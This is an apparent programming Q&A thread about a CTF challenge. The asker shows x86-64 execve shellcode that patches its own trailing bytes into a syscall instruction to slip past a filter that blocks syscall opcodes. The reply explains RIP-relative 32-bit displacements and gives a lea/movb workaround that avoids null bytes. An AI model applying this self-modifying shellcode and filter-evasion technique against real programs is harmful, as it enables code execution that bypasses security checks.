Reputation: 2664
I'm doing some sort of CTF challenges and i have a program that checks the buffer the user input is passed to byte by byte exiting if if there's a syscall, sysenter or int 80 instructions in there.
What i'm trying to do is write a shellcode that modifies the second byte of the syscall instruction to the valid one. That is, the last two bytes of the input are \x0f\x01
and i want the shellcode itself to overwrite this to \x0f\x05
(syscall).
So the last few instructions of the original shellcode look like this:
....
21: 31 c0 xor %eax,%eax
23: 88 47 07 mov %al,0x7(%rdi)
26: 48 89 7f 08 mov %rdi,0x8(%rdi)
2a: 48 89 47 10 mov %rax,0x10(%rdi)
2e: 48 8d 77 08 lea 0x8(%rdi),%rsi
32: 48 89 c2 mov %rax,%rdx
35: b0 3b mov $0x3b,%al
37: 0f 05 syscall
and with the two extra instructions to rewrite the syscall:
...
37: b1 05 mov $0x5,%cl
39: 88 0d 01 00 00 00 mov %cl,0x1(%rip)
3f: 0f 05 syscall
However, i see that 39 is encoded with some trailing zeroes, whereas 23 for example which is similar but the location is relative to rdi instead of rip, is not.
So my question is, does that look alright? And if so why are there trailing zeroes in the case of rip. Is it some rip-relative addressing specific thing that for example 4 bytes must follow?
Upvotes: 3
Views: 1514
Reputation: 58762
Is it some rip-relative addressing specific thing that for example 4 bytes must follow?
Yes. If you look in the Instruction Set Reference, section 2.2.1.6 RIP-Relative Addressing you will see that the only option is RIP + disp32
meaning 32 bit displacement. If you need to avoid zero bytes, you have to do it differently. A possible workaround is to do something like:
lea -1(%rip), %rax # -1 is needed to avoid zero bytes
movb $5, XX(%rax) # with appropriate value of `XX`
Upvotes: 3